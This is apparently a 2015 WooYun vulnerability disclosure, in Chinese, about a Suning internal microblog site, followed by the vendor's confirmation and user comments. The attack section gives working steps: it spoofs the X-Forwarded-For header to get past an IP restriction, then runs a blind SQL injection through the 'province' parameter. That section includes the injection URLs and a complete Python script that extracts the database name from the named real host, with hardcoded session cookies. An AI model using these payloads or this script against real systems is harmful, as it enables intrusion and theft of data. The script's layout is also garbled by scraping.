缺陷编号:WooYun-2015-0123916
漏洞标题:苏宁内部系统SQL注入(附利用方法和验证脚本)
相关厂商:江苏苏宁易购电子商务有限公司
漏洞作者:Coody
提交时间:2015-07-01 16:23
公开时间:2015-08-15 16:40
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
Tags标签:
2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开
说好的礼品卡呢?
漏洞站点:http://weibo.cnsuning.com/ (苏宁:不是所有的微博都叫苏宁微博)0x01:绕过ip地址限制直接访问该地址,提示“您当前的IP在不是苏宁电器总部的IP,无法访问前台。”
额,目测是验证客户端的来源ip,直接使用 X-Forwarded-For 插件就可绕过验证
设置好后,直接访问目标地址
嗯哼,直接打开了。0x02:获取内部帐号通过收集信息,直接登录一个内部帐号(此处略~~~)0x03:SQL注入漏洞通过测试,发现该系统存在SQL注入漏洞问题链接为:http://weibo.cnsuning.com/ajax.php?mod=member&code=sel&type=top&province=1&hid_city=其中参数 province 存在注入,判断数据库名的长度,http://weibo.cnsuning.com/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/length(database())=5&hid_city=当 length 的长度等于5时返回正常
修改语句直接跑取数据库名
1 |
/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/ascii(substr(database(),N,1))=M&hid_city=<br>其中 N 代表第几位字符 ,M 代表字母 ascii 码 |
当前数据库名称为“weibo”
附上利用脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
#encoding=utf-8import httplib<br> import time<br> import string<br> import sys<br> import random<br> import urllibheaders = {'Content-Type': 'application/x-www-form-urlencoded',<br> 'X-Requested-With': 'XMLHttpRequest',<br> 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36',<br> 'Cookie':' _wbma=weibo.cnsuning.com%7C14353112666246444095519302%7C1435311266624%7C1435736372201%7C1435736405085%7C81%7C3; _wbmc=weibo.cnsuning.com; _wbmb=14357360303501756793251744%7C%7C%7C22;jishigou_YnQbd2_auth=b894Q1QF2ymXvAaat%2BBJ0dwP0InpJNhi3zGtCB30mGyR2Q4BH7uk%2Bf%2F%2FQKxTY%2Bysci6B4luF2L1gMgNn6on8SHIcKw; jishigou_YnQbd2_login_credits=1435736257; jishigou_YnQbd2_sid=DPZcJd',<br> 'X-Forwarded-For':'192.168.121.194'}payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'print 'start to retrive Current database name :'user = ''for i in range(1,6):for payload in payloads:<br> conn = httplib.HTTPConnection('weibo.cnsuning.com', timeout=120)<br> conn.request(method='GET',<br> url='/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/ascii(substr(database(),%s,1))=%s' % (i,ord(payload)),<br> headers=headers)<br> resp = conn.getresponse()<br> html_doc = resp.read()<br> conn.close()<br> #print html_doc<br> print '.',<br>if html_doc.find('value=41') > 0: # True<br> #print bb<br> user += payload<br> print '\n[in progress]', user<br> break<br> print '\nCurrent Database name is', user |
危害等级:中
漏洞Rank:10
确认时间:2015-07-0116:39
感谢提交,此系统非苏宁易购网站。
暂无
附验证脚本,屌屌的啊!!
@PgHook cnsuning.com 竟然说“此系统非苏宁易购网站”
@Coody 官方原则上只接受suning.com 域下的安全问题
@zzR 额,我一直认为内部的系统都在走cnsuning这个玉米呢
看看
我的购物卡是不是寄 你们那里去了?
@专业种田 苏宁的稍后→_→→_→→_→
原文连接
的情况下转载,若非则不得使用我方内容。